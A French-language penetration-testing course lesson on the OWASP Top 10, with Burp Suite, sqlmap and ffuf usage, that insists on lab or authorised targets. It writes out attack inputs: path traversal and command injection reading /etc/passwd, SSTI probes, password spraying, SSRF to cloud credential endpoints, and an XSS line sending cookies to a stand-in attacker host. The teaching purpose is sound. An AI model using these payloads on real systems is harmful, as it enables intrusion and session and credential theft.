OWASP Top 10 — Notions

Le web est là où l'argent circule. C'est aussi là que 60 à 80 % d'un pentest se joue. L'OWASP Top 10 (édition 2021, refonte 2024/2025 en cours) donne les dix catégories de vulnérabilités qui couvrent l'essentiel des attaques web réelles. Cette semaine, on ne les mémorise pas — on comprend ce que chacune attaque.

Rappel

Toute exploitation web s'effectue dans le lab (Juice Shop, DVWA, WebGoat), ou sur une cible sous RoE. Un sqlmap sur un site tiers non autorisé est un acte hostile dans toutes les juridictions.

Ce que vous saurez faire après cette leçon

• Identifier laquelle des 10 catégories répond à une observation donnée sur une application.
• Expliquer la logique de chaque catégorie en 30 secondes.
• Utiliser Burp Suite en interception + repeater + intruder.
• Distinguer un POC d'une preuve d'impact — la différence qui fait un bon rapport.
• Enchaîner plusieurs failles pour montrer une chaîne réelle d'attaque.

---

1. Le Top 10 en une phrase par catégorie

Mémorisez la logique, pas le numéro. Le numéro change à chaque édition.

#	Nom court	Logique	Exemple concret
A01	Contrôles d'accès rompus	L'app autorise ce qu'elle devrait interdire.	Un utilisateur normal peut appeler /api/admin/users.
A02	Défaillances cryptographiques	Les données sensibles voyagent ou dorment mal protégées.	Mots de passe en md5, HTTP au lieu de HTTPS, JWT signés faiblement.
A03	Injection	Une donnée utilisateur est exécutée comme du code.	SQL injection, command injection, LDAP injection.
A04	Design non sécurisé	La logique métier est fausse dès la conception.	Password reset sans limite de tentatives, séquence de nombres devinables.
A05	Mauvaise configuration	Valeurs par défaut, mode debug, en-têtes manquants.	admin/admin, verbose errors, X-Frame-Options absent.
A06	Composants vulnérables	Une dépendance a une CVE et elle n'est pas patchée.	Un log4j en 2.14, un openssl obsolète, un jQuery 1.4.
A07	Identification / authentification	Sessions faibles, mots de passe faibles, pas de MFA.	Cookie de session prévisible, absence de lockout, MFA optionnelle.
A08	Intégrité logicielle	La chaîne d'approvisionnement laisse passer du code non vérifié.	Un npm install d'un paquet compromis, un pipeline CI sans signature.
A09	Journalisation / surveillance	Rien n'est loggé, rien n'est vu.	Aucune alerte sur 10 000 tentatives d'auth échouées.
A10	SSRF (Server-Side Request Forgery)	Le serveur envoie une requête que l'attaquant a choisie.	Un import d'image qui accepte http://169.254.169.254/latest/meta-data/.

Retenez surtout : A01, A03, A05, A07, A10. Ce sont ceux qu'on croise 70 % du temps.

---

2. Les cinq à approfondir maintenant

2.1. A01 — Contrôles d'accès rompus

Deux sous-familles vraiment offensantes :

IDOR (Insecure Direct Object Reference) : l'ID d'un objet est prévisible et l'app ne vérifie pas qu'il appartient à l'utilisateur.

GET /api/users/1234/facture      → ma facture, correct
GET /api/users/1235/facture      → la facture d'un autre client (fuite)

Path traversal : un chemin de fichier est passé en paramètre, mal filtré.

GET /telecharger?fichier=rapport.pdf
GET /telecharger?fichier=../../../etc/passwd

Fuite verticale de privilèges : un compte utilisateur peut appeler un endpoint réservé aux administrateurs. On teste en changeant un role: user en role: admin dans un JWT, ou en appelant un endpoint /admin/* avec un compte normal.

2.2. A03 — Injection

La reine des attaques. SQL, NoSQL, LDAP, OS command, template, tout ce qui se laisse mélanger avec des données utilisateur.

SQL injection en 3 flavors :

• In-band : la donnée volée sort dans la réponse HTTP directement (UNION SELECT).
• Blind boolean : la donnée n'apparaît pas, mais la réponse change selon vrai/faux (AND 1=1 vs AND 1=0).
• Blind time-based : on mesure le temps de réponse (AND SLEEP(5)), un serveur qui prend 5 secondes de plus a évalué la condition à vrai.

Command injection : un paramètre est passé à un system() mal échappé.

POST /ping  {"host": "example.com; cat /etc/passwd"}

Template injection (SSTI) : très moderne. Un template Jinja2, Twig, Handlebars évalue une expression contrôlée par l'utilisateur.

{{ 7*7 }}                                    → 49        → SSTI confirmé
{{ ''.__class__.__mro__[1].__subclasses__() }}   → 200 classes Python

De là, on remonte à subprocess et on obtient une RCE.

2.3. A05 — Mauvaise configuration

Le plus facile à exploiter, le plus fréquent.

• Comptes par défaut (tomcat:tomcat, admin:admin, weblogic/weblogic1).
• Pages de debug en prod (/actuator/env, /console, phpinfo.php).
• Directory listing (Index of /) qui expose des .git, des backup.sql.
• En-têtes HTTP absents (Content-Security-Policy, X-Frame-Options, Strict-Transport-Security).
• CORS trop permissifs (Access-Control-Allow-Origin: * + Allow-Credentials: true = catastrophe).

2.4. A07 — Authentification

Trois attaques classiques :

Password spraying : on essaie un seul mot de passe contre de nombreux comptes. Évite le verrouillage individuel. Fonctionne quand la politique n'exige pas de complexité forte.

nxc smb 10.10.10.12 -u users.txt -p Ete2025! --continue-on-success

Brute force sur un compte : plusieurs mots de passe contre un seul compte. Bloqué par un verrouillage bien configuré.

Credential stuffing : un dump public (Collection#1, etc.) reversé contre un site. Les employés réutilisent, ça passe souvent.

Sur les JWT :

• Attaque alg=none : on change l'algorithme dans le header et on retire la signature. Certains parseurs mal codés l'acceptent.
• Attaque kid injection : on manipule kid pour pointer vers une clé qu'on contrôle.
• Attaque secret faible : signature HMAC-256 avec un secret devinable (secret, password, changeme).

2.5. A10 — SSRF

Le serveur d'application, en interne, a accès à des choses que vous n'avez pas — les métadonnées cloud, les services internes, localhost. SSRF vous fait passer par lui.

Cible n°1 sur AWS/GCP/Azure : les metadata endpoints.

http://169.254.169.254/latest/meta-data/         (AWS)
http://metadata.google.internal/                 (GCP)
http://169.254.169.254/metadata/instance         (Azure)

Ce qu'on récupère : le rôle IAM associé à l'instance = des credentials AWS temporaires. À partir de là, aws sts get-caller-identity puis on regarde ce que le rôle a le droit de faire.

Une SSRF réussie sur une instance cloud, c'est la mission qui bascule — d'un site web à une prise sur l'infrastructure.

---

3. Burp Suite — l'outil web indispensable

Burp Suite intercepte le trafic HTTP/HTTPS entre votre navigateur et la cible. C'est le couteau suisse du pentester web.

Configuration en 2 minutes

1. Lancer Burp Suite Community (livré avec Kali).
2. Firefox → Preferences → Network → HTTP Proxy → 127.0.0.1:8080.
3. Naviguer vers http://burpsuite → télécharger le certificat CA de Burp.
4. Firefox → Certificates → Import → cocher « Trust for websites ».
5. Retour au trafic normal, HTTPS déchiffré dans Burp.

Les 4 onglets à connaître par cœur

Onglet	Ce qu'il fait
Proxy → Intercept	Capture chaque requête, vous laisse la modifier avant qu'elle parte.
Proxy → HTTP history	Historique de tout ce qui est passé. Filtrez, cherchez, relisez.
Repeater	Envoie une même requête à volonté, modifiée à chaque fois. Le cœur du pentest manuel.
Intruder	Envoie des dizaines/milliers de variations avec des payloads paramétrés.

Le workflow standard

1. Naviguez normalement dans l'app, laissez Burp tout capturer.
2. Repérez une requête intéressante dans HTTP history (formulaire de connexion, appel API sensible, URL avec ID prévisible).
3. Envoyez au Repeater (clic droit → Send to Repeater).
4. Modifiez un paramètre à la fois. Envoyez, lisez la réponse.
5. Si vous voulez tester des centaines de variantes (mots de passe, IDs, payloads XSS), envoyez à Intruder.

Intruder — un seul point d'insertion à la fois

Attaques Intruder :

• Sniper : un seul payload par requête, sur un seul point d'insertion. À utiliser 95 % du temps.
• Battering ram : le même payload répété sur plusieurs points. Rare.
• Pitchfork : plusieurs listes, tirage parallèle. Utile pour un couple user:password.
• Cluster bomb : combinaisons cartésiennes de plusieurs listes. Attention, explose vite (10 users × 1000 passwords = 10 000 requêtes).

---

4. sqlmap — quand l'injection SQL confirme

sqlmap automatise l'exploitation d'injections SQL. Vous confirmez d'abord à la main dans Burp, puis vous laissez sqlmap faire le sale boulot.

Commande de base :

sqlmap -u "http://cible/produits?id=42" --dbs

Options à connaître :

• --cookie="session=abc123" — pour tester derrière une auth.
• -r requete.txt — passer une requête POST complète.
• --data="user=admin&pass=x" — paramètres POST directement.
• --dbs — lister les bases.
• --tables -D <db> — lister les tables.
• --dump -T users -D app — vider la table users.
• --os-shell — obtenir un shell OS si l'injection le permet.

Attention : --dump extrait toutes les lignes. En pentest sous RoE, restreignez avec --start=1 --stop=10 pour ne pas dépasser la clause « pas d'extraction massive ».

---

5. wfuzz / ffuf / gobuster — brute force d'endpoints

L'app cache un /admin, un /backup, un /actuator ? On brute-force les chemins.

# ffuf, le plus rapide aujourd'hui
ffuf -w /usr/share/wordlists/dirb/common.txt \
     -u http://cible/FUZZ -mc 200,204,301,302,401,403

# gobuster, alternative
gobuster dir -u http://cible -w /usr/share/wordlists/dirb/common.txt

# ffuf sur paramètres GET
ffuf -w /usr/share/wordlists/seclists/Discovery/Web-Content/burp-parameter-names.txt \
     -u http://cible/api/user?FUZZ=1

Wordlists de référence :

• SecLists — la meilleure collection (github.com/danielmiessler/SecLists).
• dirb, dirbuster — livrés avec Kali.

---

6. Le principe d'or : POC != impact

Un POC prouve la vulnérabilité. Une preuve d'impact montre ce qu'un attaquant peut en faire.

Exemple XSS :

• POC : <script>alert(1)</script> — un pop-up. « C'est cassé. »
• Impact : <script>fetch('http://attaquant.local/'+document.cookie)</script> — le cookie de session est exfiltré. « Un attaquant vole la session admin. »

Exemple SSRF :

• POC : ?url=http://localhost:8080/ — le serveur renvoie une réponse. « Le serveur envoie des requêtes. »
• Impact : ?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ — vous récupérez le rôle IAM AWS. « Compromission de l'infrastructure cloud. »

Exemple SQL injection :

• POC : id=42' OR '1'='1 — plus de lignes retournées. « Il y a une injection. »
• Impact : sqlmap --dump -T users -D app --stop=1 — un enregistrement, un email, un hash. « Extraction de la base clients. »

Un rapport avec des POCs sans impact est un rapport sans valeur. C'est ce qui distingue un pentester d'un scanner automatique.

---

7. Les erreurs à ne pas commettre

• Exécuter sqlmap --dump avant d'avoir un RoE clair sur l'extraction. Vous vous retrouvez avec la base clients complète sur votre disque. Problème RGPD, problème rapport, problème de conscience.
• Rester sur alert(1). Un client verra le pop-up et fermera. Il faut montrer le vol de session ou l'action forcée.
• Négliger les headers HTTP. Un Cookie: PHPSESSID=1234abcd mal étudié peut cacher un flag HttpOnly=false (JS peut lire le cookie) = XSS + vol de session immédiat.
• Faire tourner Burp Intruder avec 100 threads sur une prod. Vous DoSez le service, vous cassez le RoE.
• Ne pas valider les faux positifs. sqlmap peut se tromper. Confirmez toujours à la main dans Burp avant de mettre au rapport.

---

8. Ce qu'il faut retenir

• Dix catégories, cinq à connaître à fond (A01, A03, A05, A07, A10).
• Burp Suite est votre outil principal — Repeater et Intruder maîtrisés.
• sqlmap confirme, ne remplace pas la compréhension.
• ffuf trouve les endpoints cachés.
• POC ≠ impact. Toujours montrer l'impact, jamais seulement la preuve technique.

Prochaine leçon : on prend OWASP Juice Shop, on tombe cinq vulnérabilités du Top 10, on écrit une preuve d'impact pour chacune.